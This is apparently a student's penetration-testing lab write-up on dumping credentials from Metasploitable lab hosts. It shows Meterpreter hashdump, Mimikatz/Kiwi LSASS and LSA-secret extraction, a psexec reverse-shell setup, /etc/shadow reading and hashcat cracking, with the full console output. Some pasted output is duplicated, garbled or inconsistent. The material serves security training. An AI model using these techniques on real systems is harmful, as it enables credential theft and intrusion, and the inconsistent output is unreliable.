

TASK 03: CREDENTIAL DUMPING & HARVESTING

Objective: Extract passwords and hashes from the compromised Windows pivot host (Metasploitable 3) to use for lateral movement to the second machine. Credential harvesting is what transforms a single foothold into full network dominance.

Step 1: Dumping SAM Hashes (hashdump)

The Security Account Manager (SAM) database stores all local user password hashes. From my active Meterpreter session I dumped the entire database with a single command:

```
meterpreter > hashdump
```

Output (selected accounts):

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:
::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:
::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac8200
5a:::
```

Hash format: username:RID:LM_HASH:NTLM_HASH::: — the NTLM hash (4th field) is directly usable for Pass-the-Hash attacks. No cracking required.

```
msf exploit(windows/smb/ms17_010_eternalblue) > meterpreter > use exploit/windows/smb/psexec
[-] Unknown command: meterpreter. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > Loading extension exploit/windows/smb/psexec...
[-] Unknown command: Loading. Did you mean load? Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > [-] Failed to load extension: No module of the name exp
[-] Unknown command: [-]. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > meterpreter > exploit/windows/smb/ms17_010_psexec
[-] Unknown command: meterpreter. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > [-] Unknown command: exploit/windows/smb/ms17_010_psexe
[-] Unknown command: [-]. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > meterpreter > use exploit/windows/smb/ms17_010_psexec
[-] Unknown command: meterpreter. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > Loading extension exploit/windows/smb/ms17_010_psexec..
[-] Unknown command: Loading. Did you mean load? Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > [-] Failed to load extension: No module of the name exp
[-] Unknown command: [-]. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > meterpreter >
[-] Unknown command: meterpreter. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf exploit(windows/smb/psexec) > set SMBUser vagrant
SMBUser => vagrant
msf exploit(windows/smb/psexec) > set SMBPass vagrant
SMBPass => vagrant
msf exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/revers
e_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > set LHOST 192.168.1.25
LHOST => 192.168.1.25
msf exploit(windows/smb/psexec) > exploit
```

Figure 13 – hashdump output revealing NTLM hashes for all local accounts on Metasploitable 3

Step 2: Loading Kiwi (Mimikatz for Meterpreter)

Kiwi is the Metasploit implementation of Mimikatz, capable of extracting credentials directly from Windows memory (the LSASS process). I loaded it into my existing Meterpreter session.

```
meterpreter > load kiwi
```

Output:

```
Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) "A La
Vie, A L'Amour" Success.
```

```

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeed80d7c2e5e55c859::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8::
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee::
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11c6b670042a53f::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ad22b0e9bac82005a::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b::
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi' ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.

```

Figure 14 – Kiwi (Mimikatz) extension loaded successfully into Meterpreter session

Step 3: Extracting Plaintext Passwords from Memory (creds_all)

The creds_all command dumps all credentials held in LSASS memory, including WDigest plaintext passwords when that configuration is enabled. This was one of the most impactful findings — I obtained actual plaintext passwords without any cracking.

```
meterpreter > creds_all
```

Output (key credentials):

```

wdigest credentials: vagrant METASPLOITABLE3 vagrant sshd_server
METASPLOITABLE3 D@rj3311ng tspkg credentials: sshd_server METASPLOITABLE3
D@rj3311ng vagrant METASPLOITABLE3 vagrant

```

Username	Plaintext Password	Importance
vagrant	vagrant	Default credentials — high likelihood of reuse on other machines
sshd_server	D@rj3311ng	Strong password — immediately usable for SSH lateral movement

```

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fac6aada8b7afc418b3afea63b7577b4:::
ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeed80d7c2e5e55c859:::
boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037397ee:::
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7acafbaa4a806aea3e0:::
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565f37fe7f28d99ce76:::
jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4:::
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11c9fb670042a53f:::
leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi' ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.

```

Figure 15 – creds_all revealing plaintext passwords from LSASS memory via Kiwi extension

Step 4: Dumping LSA Secrets (lsadump::secrets)

LSA Secrets store sensitive system information including service account passwords in the Windows registry. I used Kiwi to extract them directly.

```
meterpreter > kiwi_cmd "lsadump::secrets"
```

Output (excerpt):

```

domain : METASPLOITABLE3 secret : DefaultPassword url/text : vagrant secret :
DPAPI_SYSTEM url/text : 01 00 00 00 62 28 e6 c5 77 ... secret : NL$KM
url/text : bd e0 75 47 9f 54 a2 92 ...

```

```

meterpreter > creds_all
[*] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
=====
Username      Domain      LM      NTLM      SHA1
-----
sshd_server   METASPLOITABLE3  e501ddc244ad2c14829b15382fe04c64  8d0a16cfc061c3359db455d00ec27035  94bd2df8ae5cadbbb5757c3be01dd40c27f9362f
vagrant       METASPLOITABLE3  5229b7f52540641daad3b435b51404ee  e02bc503339d51f71d913c245d35b50b  c805f88436bcd9f534ee86c59ed230437505ecf

wdigest credentials
=====
Username      Domain      Password
-----
(null)        (null)      (null)
METASPLOITABLE3$  WORKGROUP  (null)
sshd_server    METASPLOITABLE3  D8rj33llng
vagrant       METASPLOITABLE3  vagrant

kspkg credentials
=====
[+] (Mimikatz) for Plaintext Passwords
Username      Domain      Password
-----
sshd_server   METASPLOITABLE3  D8rj33llng
vagrant       METASPLOITABLE3  vagrant

kerberos credentials
=====
step 3: Dump LSA Secrets
Username      Domain      Password
-----
(null)        (null)      (null)
metasploit3$  WORKGROUP  (null)
sshd_server    METASPLOITABLE3  D8rj33llng
vagrant       METASPLOITABLE3  vagrant

```



```

meterpreter > Kiwi_cmd "loadump::secrets"
main: METASPLOITABLE3
sysKey: 558871aff2dd420ad848f5677f025781

local name: METASPLOITABLE3 ( S-1-5-21-1427113588-2671245238-1616783618 )
main name: WORKGROUP

policy subsystems is: 1.11
SA Key(s): 1, default: {20a1148b-e18e-8b39-1963-3beaba3f0956}
[00] {20a1148b-e18e-8b39-1963-3beaba3f0956} 57fbc299b46cf7d73522df5087c5b35H9a1853014852d5a6176790c24f55286
[Hint: Data Reserved for Your Use]

secret : DefaultPassword
ur/text: vagrant
id/text: ROOT#123

secret : DPAPI_SYSTEM
ur/hex: 01 00 00 00 62 28 e6 c5 77 id 5b e7 63 93 b8 25 41 92 4f ae 93 a5 2a 6d 77 70 3e 4d 4e e1 03 51 5b ea 4d 1c df ad 61 ef dd 16 58 3a
full: 4228e6c5771d5ba76393b82f41924fae93a52a6d77705e6d4ee103515baad4dcdfad61efdd16583a
m/u: 4228e6c5771d5ba76393b82f41924fae93a52a6d / 77705e6d4ee103515baad4dcdfad61efdd16583a
id/hex: 01 00 00 00 ec 9c 9a 9f 35 e7 df f8 1a 13 9c 54 91 ea ec 30 3c 72 7d 50 fa 4a 31 1e 10 87 88 66 31 82 e4 0f 7d 8e d7 27 17 7b 8a 2c
full: ec9c9a9f35e7d8f81a139c5491eaeec303c727d50fa4a311e108788663182e40f7d8ed727177b8a2c
m/u: ec9c9a9f35e7d8f81a139c5491eaeec303c727d50 / fa4a311e108788663182e40f7d8ed727177b8a2c

secret : NLGKM
ur/hex: bd e0 75 47 9f 54 a2 92 f4 ec 09 dd 7d af 9d 66 e9 a7 4a 16 71 b5 70 56 39 c8 f7 fc 19 f8 54 e6 2d 80 a0 2b 23 aa 83 44 44 37 da 5e 7a 2
ib e7 43 97

```

Figure 16 & 17 – LSA secrets dump revealing DefaultPassword and DPAPI keys from Windows registry

Step 5: Saving All Hashes with smart_hashdump

I used smart_hashdump to automatically save all 20+ account hashes in John the Ripper format to a local file for offline cracking.

```
meterpreter > run post/windows/gather/smart_hashdump
```

Output (selected):

```

[*] Hashes saved to:
/home/hyena/.msf4/loot/20260425131926_default_192.168.1.14_windows.hashes_625021.tx
t [*] Administrator:500:aad3...ee:e02bc503339d51f71d913c245d35b50b::: [*]
vagrant:1000:aad3...ee:e02bc503339d51f71d913c245d35b50b::: [*]
leia_organa:1004:aad3...ee:8ae6a810ce203621cf9cfa6f21f14028:::

```

```

meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against METASPLOITABLE3 (192.168.1.14)
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/hyena/.msf4/loot/20260425131926_default_192.168.1.14_windows.hashes_625021.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 558871aff2dd420ad848f5677f025781... Status
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] No users with password hints on this system
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[+] vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[+] sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
[+] leia_organa:1004:aad3b435b51404eeaad3b435b51404ee:8ae6a810ce203621cf9cfa6f21f14028:::
[+] luke_skywalker:1005:aad3b435b51404eeaad3b435b51404ee:481e6150bde6998ed22b0e9bac82005a:::
[+] han_solo:1006:aad3b435b51404eeaad3b435b51404ee:33ed98c5969d05a7c15c25c99e3ef951:::
[+] artoo_detoo:1007:aad3b435b51404eeaad3b435b51404ee:fae6aada8b7afc418b3afea63b7577b4:::
[+] c_three_pio:1008:aad3b435b51404eeaad3b435b51404ee:0fd2eb40c4aa690171ba066c037379ee:::
[+] ben_kenobi:1009:aad3b435b51404eeaad3b435b51404ee:4fb77d816bce7aeee80d7c2e5e55c859:::
[+] darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecf7acafbaa4a806aea3e0:::
[+] anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b17a0230e55cde2f3de94fa:::
[+] jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75aef4a1930b0917c4d4:::
[+] lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:62708455898f2d7db11cfb670042a53f:::
[+] boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4feadaf160e97d200dc9:::
[+] jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4aaa63d63565f37fe7f28d99ce76:::
[+] greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b44686b49082db:::
[+] chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c7fe136af4575ed8:::
[+] kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240331e94ae18b001:::
meterpreter >

```

Figure 18 – smart_hashdump saving all 20+ account hashes in John the Ripper format

Step 6: Linux Credential Harvesting (Metasploitable 2)

From my SSH session on Metasploitable 2, I harvested Linux credentials and searched configuration files for database passwords.

6.1 Extracting /etc/shadow Hashes

```
cat /etc/shadow
```

Output (selected):

```
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
user:$1$HESu9xrH$K.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
```

6.2 Searching Configuration Files

```
find /var/www -name "*.php" -exec grep -l "password" {} \; 2>/dev/null
```

Output: /var/www/config/database.php /var/www/phpMyAdmin/config.inc.php
/var/www/dvwa/config/config.inc.php

Step 7: Hash Cracking (hashcat)

I attempted offline cracking of the Windows NTLM hashes using hashcat with the rockyou wordlist for any accounts where plaintext was not already captured.

```
echo "e02bc503339d51f71d913c245d35b50b" > windows_hash.txt hashcat -m 1000 -a 0
windows_hash.txt /usr/share/wordlists/rockyou.txt
```

Task 03 Summary

Step	Technique	Credentials Obtained
1	hashdump (SAM database)	NTLM hashes for all 20+ local accounts
2	load kiwi (Mimikatz)	Memory access to LSASS process
3	creds_all (LSASS memory dump)	vagrant:vagrant sshd_server:D@rj3311ng
4	lsadump::secrets (LSA Secrets)	DefaultPassword:vagrant + DPAPI keys
5	smart_hashdump (JtR format)	All hashes saved for offline cracking
6	/etc/shadow + config files (Linux)	Linux MD5-crypt hashes + DB credentials

"Passwords found on Machine A often work on Machine B — credential reuse is the red teamer's best friend."

- Successfully extracted NTLM hashes, plaintext passwords, LSA secrets, and Linux shadow hashes.